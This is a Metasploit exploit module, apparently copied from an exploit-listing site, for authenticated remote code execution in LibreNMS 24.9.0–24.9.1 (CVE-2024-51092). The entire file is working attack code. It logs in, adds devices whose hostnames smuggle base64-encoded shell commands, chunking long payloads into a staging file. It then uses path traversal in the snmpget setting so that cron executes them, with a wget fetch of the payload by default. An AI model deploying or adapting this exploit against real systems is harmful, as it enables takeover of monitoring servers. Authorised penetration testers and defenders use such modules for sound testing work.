Share
## https://sploitus.com/exploit?id=1337DAY-ID-39879
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Retry
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'LibreNMS Authenticated RCE (CVE-2024-51092)',
        'Description' => %q{
          An authenticated attacker can create dangerous directory names on the system and
          alter sensitive configuration parameters through the web portal.
          Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls,
          thus achieving arbitrary code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'murrant (Tony Murray)', # PoC
          'Takahiro Yokoyama'      # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://github.com/advisories/GHSA-x645-6pf9-xwxw'],
          [ 'CVE', '2024-51092']
        ],
        'Platform' => %w[linux],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'WGET'
              }
            }
          ],
        ],
        'DefaultOptions' => {
          'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1),
          'FETCH_URIPATH' => Rex::Text.rand_text_alpha(1)
        },
        'Payload' => {
          'SPACE' => 128
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-11-15',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
        OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ]),
        OptString.new('PATH', [ true, 'LibreNMS installed location', '/opt/librenms' ]),
        OptInt.new('WAIT', [ true, 'Wait time (seconds) for cron to poll the device', 315 ]),
      ]
    )
  end

  def get_csrf_token(res)
    res&.get_html_document&.at('meta[name="csrf-token"]') ? res.get_html_document.at('meta[name="csrf-token"]')['content'] : nil
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login')
    })
    return Exploit::CheckCode::Unknown('LibreNMS is not detected.') unless res&.code == 200 && res&.body&.include?('<title>LibreNMS</title>')

    token = get_csrf_token(res)
    return Exploit::CheckCode::Unknown('LibreNMS detected. Failed to extract csrf token.') unless token

    begin
      login
    rescue StandardError => e
      return Exploit::CheckCode::Unknown(e)
    end

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'about')
    })
    return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') unless res&.code == 200

    html_body = res&.get_html_document
    version_node = html_body&.at("a[@href='https://www.librenms.org/changelog.html']")
    return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') if version_node.nil?

    version_node&.at('span')&.content = ''
    version = Rex::Version.new(version_node.text)
    return Exploit::CheckCode::Safe("LibreNMS version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('24.9.0'), Rex::Version.new('24.9.1'))

    Exploit::CheckCode::Appears("LibreNMS version #{version} detected, which is vulnerable.")
  end

  def login
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true
    })
    fail_with(Failure::Unknown, 'Failed to access the login page.') unless res&.code == 200

    login_res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true,
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        '_token' => get_csrf_token(res)
      }
    })
    fail_with(Failure::NoAccess, 'Failed to log into LibreNMS.') unless login_res&.code == 302

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })
    fail_with(Failure::Unknown, 'Failed to log into LibreNMS.') unless res&.code == 200 && res.body.include?('Devices')

    @logged_in = true
    print_status('Successfully logged into LibreNMS.')
  end

  def exploit
    login unless @logged_in
    add_host

    print_status("Waiting up to #{datastore['WAIT']} seconds for cron to poll the device...")
    created = retry_until_truthy(timeout: datastore['WAIT']) do
      @hosts.all? { |h| change_snmpget(h) }
    end

    fail_with(Failure::Unknown, 'Failed to create malicious file. You may need more wait time, or the cron job might be disabled.') unless created
    register_file_for_cleanup(datastore['FETCH_FILENAME'])
    @hosts.each do |host|
      change_snmpget(host)
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'about')
      })
    end
  end

  def add_host
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'addhost')
    })
    fail_with(Failure::Unknown, 'Failed to access addhost page.') unless res&.code == 200

    # The maximum host length is 128 characters.
    # because 128 - 20 = 108 where 20 is length of remaining characters in original payload
    if Rex::Text.encode_base64(payload.encoded).length <= 108
      @hosts = [";echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|sh;"]
      print_status("Adding host: '#{@hosts[0]}', length: #{@hosts[0].length}")
    else
      @hosts = []
      staging_file = Rex::Text.rand_text_alpha(1, datastore['FETCH_FILENAME'])
      register_file_for_cleanup(staging_file)
      cmd = Rex::Text.encode_base64(payload.encoded)
      # ;echo -n chunked_cmd>>staging_file;
      # ;echo -n (space) = 9, >> = 2, ; = 1
      max_chunk_size = 128 - (9 + 2 + staging_file.length + 1)
      chunk_size = rand([1, max_chunk_size - 10].max..[1, max_chunk_size - 5].max)
      print_status("Command chunk size = #{chunk_size}")
      cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join)
      redirector = '>'
      cmd_chunks.each_with_index do |chunk, index|
        print_status("Staging chunk #{index + 1} of #{cmd_chunks.count}")
        @hosts << ";echo -n #{chunk}#{redirector}#{staging_file};"
        redirector = '>>'
      end
      @hosts << ";cat #{staging_file} | base64 -d |sh;"
    end

    @device_ids = []
    @hosts.each do |host|
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'addhost'),
        'vars_post' => {
          '_token' => get_csrf_token(res),
          'hostname' => host,
          'snmp' => 'on',
          'sysName' => '',
          'hardware' => '',
          'os' => '',
          'os_id' => '',
          'snmpver' => 'v2c',
          'port' => '',
          'transport' => 'udp',
          'port_assoc_mode' => 'ifIndex',
          'community' => '',
          'authlevel' => 'noAuthNoPriv',
          'authname' => '',
          'authpass' => '',
          'authalgo' => 'SHA',
          'cryptopass' => '',
          'cryptoalgo' => 'AES',
          'force_add' => 'on',
          'Submit' => ''
        }
      })
      fail_with(Failure::Unknown, 'Failed to add device.') unless res&.code == 200 && res&.body&.include?('Device added')
      print_status('Added host.')
      link = res&.get_html_document&.at("div.alert.alert-success:contains('Device added') a")
      device_link = link['href'] if link
      device_id = device_link.match(%r{/device/(\d+)})[1] if device_link&.match(%r{/device/(\d+)})
      @device_ids << device_id if device_id
    end
  end

  def change_snmpget(host)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'settings/external/binaries')
    })
    return unless res&.code == 200

    res = send_request_cgi({
      'method' => 'PUT',
      'headers' => {
        'X-CSRF-TOKEN' => get_csrf_token(res)
      },
      'uri' => normalize_uri(target_uri.path, 'settings/snmpget'),
      'ctype' => 'application/json',
      'data' => {
        'value' => "file://#{datastore['PATH']}/rrd/#{host}/../../../../../bin/ls"
      }.to_json
    })
    res&.code == 200
  end

  def cleanup
    super

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'settings/external/binaries')
    })

    if res&.code == 200
      res = send_request_cgi({
        'method' => 'DELETE',
        'headers' => {
          'X-CSRF-TOKEN' => get_csrf_token(res)
        },
        'uri' => normalize_uri(target_uri.path, 'settings/snmpget')
      })
    end
    print_status('Failed to reset snmpget to default.') unless res&.code == 200
    print_status('Reset snmpget to default.') if res&.code == 200

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'delhost')
    })
    token = get_csrf_token(res)

    if res&.code == 200 && @device_ids
      @device_ids.each do |device_id|
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'delhost'),
          'vars_post' => {
            '_token' => token,
            'id' => device_id,
            'confirm' => '1'
          }
        })
        print_status("Failed to delete device: #{device_id}") unless res&.code == 200
        print_status("Deleted device: #{device_id}") if res&.code == 200
      end
    elsif @device_ids
      print_status("Failed to extract CSRF token. Failed to delete device: #{@device_ids.join(', ')}")
    end
  end

end